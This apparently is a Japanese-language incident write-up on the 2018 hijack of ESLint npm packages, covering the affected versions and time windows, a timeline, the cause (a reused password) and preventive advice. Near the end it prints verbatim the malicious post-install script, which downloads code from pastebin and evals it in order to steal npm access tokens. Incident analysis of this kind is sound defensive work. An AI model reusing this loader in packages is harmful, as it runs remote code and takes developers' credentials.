2018 年 7 月 12 日に、ESLint 開発チームが管理する npm パッケージに悪意あるコードが挿入されるセキュリティ インシデントがありました。
- ESLint からのアナウンス: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes
- npm からのアナウンス: https://status.npmjs.org/incidents/dn7c1fgrr7ng
以下の場合に npm install
を実行したユーザーの npm アカウントへのログイン情報 (アクセストークン) が盗まれた恐れがあります (盗まれたアクセストークンはすでに無効化されています)。
- 日本時間の 18:49 から 19:25 の約 1 時間のあいだに
npm install
を実行し、eslint-config-eslint@5.x
またはそれに依存しているパッケージをインストールした。 - 日本時間の 19:40 から 21:37 の約 2 時間のあいだに
npm install
を実行し、eslint-scope@3.x
またはそれに依存しているパッケージ (Webpack, ESLint 4, babel-eslint, vue-eslint-parser, eslint-plugin-vue 等) をインストールした。
特に ESLint 4 と Webpack が含まれている点で影響が大きいと考えられます。影響の大きさを鑑みて、npm の運営は問題が終息した時刻より前に発行されたアクセストークンをすべて破棄しました。これにより、攻撃コードが搾取したアクセストークンはすべて無効化されています。
攻撃コードが公開されてからアクセストークンが破棄されるまでの間に、npm リポジトリへ攻撃者と同一 IP アドレスによるアクセスは無かったそうです (Tor の出口ノードの IP アドレスだったそうなので、それだけで安全の保証にはなりませんが...)。
npm にパッケージを公開している開発者の方は、ご自身のパッケージに異常がないこと、二要素認証が有効になっていることの確認をお願いいたします。
タイムライン
(時刻はすべて日本時間です。)
- 16:00 頃 ... ESLint メンテナの一人の npm アカウントがハックされた。
-
18:49 ...
eslint-config-eslint@5.0.2
が攻撃者によってリリースされ、これのpost-install
スクリプトにインストールした人の npm アカウントへのログイン情報 (アクセストークン) を盗むコードが書かれていた (また、この攻撃コードは後で書き換えられるようになっていた)。 -
19:25 ...
eslint-config-eslint@5.0.2
が攻撃者自身によって取り消された。 -
19:40 ...
eslint-scope@3.7.2
が攻撃者によってリリースされた。これにはeslint-config-eslint@5.0.2
とまったく同じ攻撃コードが追加されていた。 - 20:17 ... 問題が発覚して Issue に報告された。
- 20:37 ... 他の ESLint メンテナが気づいて npm に報告した。
-
21:37 ... npm 運営が
eslint-scope@3.7.2
を取り消した。 - 22:00 頃 ... ハックされたメンテナが気づいてパスワード変更・トークン破棄・二要素認証有効化を実施した。ログに基づいて、他の侵害はないことがわかった。
- 25:00 頃 ... npm 運営がセキュリティ インシデントをアナウンスした。また、npm 運営と ESLint チームの話し合いが行われた。
-
26:30 頃 ... 念のためにより新しいバージョン番号 (
eslint-scope@3.7.3
) でリリースを実施した。 - 27:52 ... npm 運営は、問題が終息するより前に発行されたすべてのアクセストークンを破棄した。
どのようにハックされたか
今回アカウントをハックされたメンテナは他のサービスと npm とで同じパスワードを使っていたとのことで、他のサービスで流出したパスワードを用いてログインされてしまったものと考えられます。
- パスワードの使い回しを避ける
- 多要素認証を有効化する
これらのことを実施していれば避けられたインシデントでした。
どのような攻撃コードが挿入されたか
eslint-config-eslint@5.0.2
, eslint-scope@3.7.2
ともに、以下のスクリプトが npm install
の後処理として実行されるようになっていました (インデント等そのまま)。
try{
var https=require('https');
https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
r.setEncoding('utf8');
r.on('data',(c)=>{
eval(c);
});
r.on('error',()=>{});
}).on('error',()=>{});
}catch(e){}
チャンクをそのまま eval
しているので、通信時のチャンク分割で構文エラーになり発覚したようです。
ダウンロードしているコードは、当初、npm のログイン用トークンが含まれているファイルを外部に送信するようなコードになっていたそうです (私自身はそのコードを確認できていません)。現在は無意味な文字列になっています。